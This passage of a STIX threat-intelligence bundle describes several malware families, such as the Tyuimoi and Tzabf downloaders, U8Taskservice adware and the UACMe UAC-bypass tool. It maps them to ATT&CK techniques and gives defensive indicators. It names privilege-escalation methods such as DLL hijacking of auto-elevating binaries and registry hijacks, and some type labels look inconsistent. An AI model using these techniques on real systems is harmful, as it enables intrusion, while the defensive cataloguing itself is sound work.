      "source_ref": "malware--ab41e6e7-3987-53b4-840d-10e886447b11",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Typic exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89cbe228-9fe8-50e4-a0ea-cadea0b449c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab41e6e7-3987-53b4-840d-10e886447b11",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Typic exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d6855cc-ef0d-568a-ae0f-de3e2be25be0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab41e6e7-3987-53b4-840d-10e886447b11",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Typic exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--94e78876-af36-546c-b08b-ab63a985fa65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tyuimoi",
      "description": "<h3>Executive Summary</h3>\nTyuimoi is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTyuimoi is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tyuimoi operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tyuimoi ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tyuimoi receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tyuimoi infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tyuimoi executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tyuimoi frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tyuimoi",
        "Downloader.Tyuimoi",
        "Win32/Tyuimoi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tyuimoi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tyuimoi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--693b46ff-4e8b-5453-85a2-c4fd9b5e370a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94e78876-af36-546c-b08b-ab63a985fa65",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tyuimoi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76184691-9b66-5645-a89d-200feb6ae656",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94e78876-af36-546c-b08b-ab63a985fa65",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tyuimoi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--feb880ef-913d-5a41-b075-232072e719cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94e78876-af36-546c-b08b-ab63a985fa65",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tyuimoi exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ca8bf2cd-38b6-5646-bef9-856cea3c6349",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tzabf",
      "description": "Trojan:Win32/Tzabf is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tzabf</b><br>To an end-user, a Tzabf infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tzabf is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tzabf is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tzabf frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tzabf reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tzabf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tzabf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0bb1bf9-ee76-5961-95a1-77020ffdfd1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca8bf2cd-38b6-5646-bef9-856cea3c6349",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tzabf exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8828231-88c0-5a15-9e76-7035654ed47c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca8bf2cd-38b6-5646-bef9-856cea3c6349",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tzabf exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5cfd1a0-546a-5e45-964b-335f36996ca5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca8bf2cd-38b6-5646-bef9-856cea3c6349",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tzabf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b3d2eaf-0639-5483-9d52-c5fb535b12fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca8bf2cd-38b6-5646-bef9-856cea3c6349",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tzabf exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4f814b8-0252-5ed2-81c4-9b2e387c559b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca8bf2cd-38b6-5646-bef9-856cea3c6349",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tzabf exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--11dd7668-7805-58ef-b73f-a4bf4a3ec490",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "U8Taskservice",
      "description": "Adware:Win32/U8taskservice is an intrusive Potentially Unwanted Program (PUP) categorized as a malicious Browser Modifier or Adware. It is designed to forcibly alter a user's web browsing experience across multiple browsers to inject unwanted advertisements, redirect search traffic, and track browsing behavior to generate illicit Pay-Per-Click (PPC) revenue. As its name implies, it relies heavily on Windows Services or Scheduled Tasks for aggressive persistence.<br><br><b>Understanding U8taskservice</b><br>To an end-user, U8taskservice manifests as a sudden influx of unremovable toolbars, persistent pop-up ads, and the forced redirection of their default search engine to a low-quality, third-party portal. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (`T1189`).<br><br><b>Execution and Hijacking Mechanics</b><br>U8taskservice is typically distributed via deceptive software bundles (wrappers) or fake software updates. Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to force-install malicious extensions or change the default homepage. Its defining characteristic is its persistence mechanism: it installs a robust Windows Service (`T1543.003`) or a hidden Scheduled Task (often named `U8TaskService` or similar) that acts as a watchdog. This service actively monitors the browser settings; if the user attempts to remove the adware or revert their homepage, the service immediately restores the malicious configuration.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for the creation of anomalous Windows Services running from `%AppData%` or `%ProgramFiles%`, unexpected additions to browser Extension directories, or the presence of anomalous registry keys modifying `Start Page` values. Network IoCs include DNS queries resolving to known adware tracking infrastructure. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for U8Taskservice",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/u8taskservice"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b2c2670-ddd0-5c5b-8a4a-a4f580e25c61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11dd7668-7805-58ef-b73f-a4bf4a3ec490",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "U8Taskservice exhibits technique T1176 (Browser Extensions (Force-installing the malicious extension))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2abb4f5d-df05-5e05-9b69-a7b5d727ed4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11dd7668-7805-58ef-b73f-a4bf4a3ec490",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "U8Taskservice exhibits technique T1543.003 (Create or Modify System Process: Windows Service (The watchdog persistence mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00e05bfd-6974-5864-86c8-e6c3a01fb1ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11dd7668-7805-58ef-b73f-a4bf4a3ec490",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "U8Taskservice exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97d7e283-a611-54db-ad1c-768cf8763124",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uacme",
      "description": "HackTool:Win32/Uacme (often detected due to its inclusion in the open-source **UACMe** repository) is a powerful, publicly available framework designed to bypass Windows User Account Control (UAC). While developed for security research and penetration testing, UACMe is heavily weaponized by threat actors and integrated into sophisticated malware (like ransomware and advanced RATs). It allows a process running with standard user privileges to silently escalate to high (Administrator) privileges without prompting the user with the familiar 'Do you want to allow this app to make changes?' dialog box.<br><br><b>Understanding UAC Bypasses</b><br>To an end-user, a successful UAC bypass is invisible; the malware simply gains administrative rights without asking. For a SOC, detecting UACMe usage indicates that an attacker has already gained initial access (as a standard user) and is actively escalating their privileges to fully compromise the host. The UACMe project currently catalogs over 70 distinct methods for bypassing UAC, constantly adapting as Microsoft patches older vulnerabilities.<br><br><b>Execution and Escalation Mechanics</b><br>Threat actors embed specific UACMe methods into their droppers (`T1548.002`). The most common techniques involve exploiting auto-elevating Windows executables (binaries signed by Microsoft that silently elevate without a prompt). For example, the attacker might drop a malicious DLL (`T1574.002`) into a specific system folder and then launch an auto-elevating Windows tool (like `sysprep.exe` or `cliconfg.exe`). Because the Windows tool is trusted, UAC elevates it silently; the tool then unknowingly loads the attacker's malicious DLL (DLL Hijacking), granting the attacker's code full administrative rights. Other methods involve complex COM interface hijacking or modifying specific registry keys (`HKCU\\Software\\Classes`) that trusted binaries read during execution.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is Local Privilege Escalation (LPE), giving the attacker full control to disable AV, install rootkits, or dump credentials. Host-based IoCs include EDR alerts for anomalous DLL loads by trusted system processes (e.g., `sysprep.exe` loading a DLL from a non-standard path). Monitoring for sudden modifications to `HKCU\\Software\\Classes\\mscfile\\shell\\open\\command` or similar registry keys is critical. EDR systems should also flag any process spawning a high-integrity command prompt (`cmd.exe`) without a corresponding interactive user session. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uacme",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uacme"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05c4bb06-aff2-5832-9764-d9b448d41d02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97d7e283-a611-54db-ad1c-768cf8763124",
      "target_ref": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uacme exhibits technique T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d09613f8-7ede-5a74-a8d4-4e5b265d65f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97d7e283-a611-54db-ad1c-768cf8763124",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uacme exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading (Used in many UAC bypasses))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58c10c0a-133e-5123-972f-40bd8d0de6bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97d7e283-a611-54db-ad1c-768cf8763124",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uacme exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--70f14eb6-7d46-5b1b-b39e-69904dab1a3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ubar",
      "description": "Adware:Win32/Ubar is a deceptive adware framework and Potentially Unwanted Program (PUA) that silently infiltrates endpoints, typically bundled with freeware (especially torrent clients or media players), to inject intrusive advertisements, hijack browser settings, and harvest user search telemetry for affiliate monetization.<br><br><b>What is Ubar?</b><br>To the average user, Ubar is highly visible and deeply frustrating. The browser homepage is forcibly changed, default search engines are locked to unfamiliar domains, and standard websites are flooded with injected banner ads or in-text hyperlinks. For security analysts, Ubar operates on the Pay-Per-Install (PPI) model. It leverages deceptive installation tactics and aggressive persistence mechanisms to ensure the user cannot easily revert their browser settings, guaranteeing continued revenue generation for the attackers.<br><br><b>Infection Vectors & Threat Hunting</b><br>Ubar is almost exclusively distributed via deceptive software bundlers. When a user downloads a free PDF editor or media player from a third-party site, the Ubar wrapper executes first. It employs 'Dark Patterns'\u2014pre-checked boxes hidden behind 'Advanced' menus\u2014to gain technical consent. Upon execution, it installs malicious browser extensions (`T1176`) and frequently leverages Windows Group Policy (GPO) settings (`ExtensionInstallForcelist`) to lock the rogue extensions in place. It establishes persistence via Registry Run keys and scheduled tasks.<br><br><b>Forensic Analysis & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic to known ad-tracking networks. EDR logs will show the initial installer attempting to modify browser preference files (e.g., Chrome's `Preferences` JSON file) and establishing unauthorized Group Policies. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ubar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ubar"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--866f125a-8714-5033-ae90-35e58aa517ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f14eb6-7d46-5b1b-b39e-69904dab1a3b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubar exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0dc05f0-207b-5c22-80aa-6fdba20fd683",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f14eb6-7d46-5b1b-b39e-69904dab1a3b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubar exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff89ed88-f667-5533-80fd-45586d8d3d81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f14eb6-7d46-5b1b-b39e-69904dab1a3b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubar exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f6a88c3-3580-5251-aa98-6b0d43279236",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f14eb6-7d46-5b1b-b39e-69904dab1a3b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubar exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9954383a-1d56-5625-bd2b-c0a500e697f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70f14eb6-7d46-5b1b-b39e-69904dab1a3b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--034f967b-c857-5661-9e34-856293675b0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ubibila",
      "description": "Trojan:Win32/Ubibila is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ubibila</b><br>To an end-user, a Ubibila infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ubibila is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ubibila is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ubibila frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ubibila reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ubibila",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ubibila"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f931610a-493f-54ea-818b-33f8b26ed36c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--034f967b-c857-5661-9e34-856293675b0c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubibila exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc44dda7-923a-5856-a032-cc68ec6adf37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--034f967b-c857-5661-9e34-856293675b0c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubibila exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32e28980-090e-50ae-9a0d-80b1fc8e0384",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--034f967b-c857-5661-9e34-856293675b0c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubibila exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc2c3138-9675-5167-a039-1f26ddebcf34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--034f967b-c857-5661-9e34-856293675b0c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubibila exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83885d7f-c229-5f7a-9146-cc65f444226a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--034f967b-c857-5661-9e34-856293675b0c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubibila exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--07dc3852-126f-5527-b3f8-6b675ea82dd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ubot",
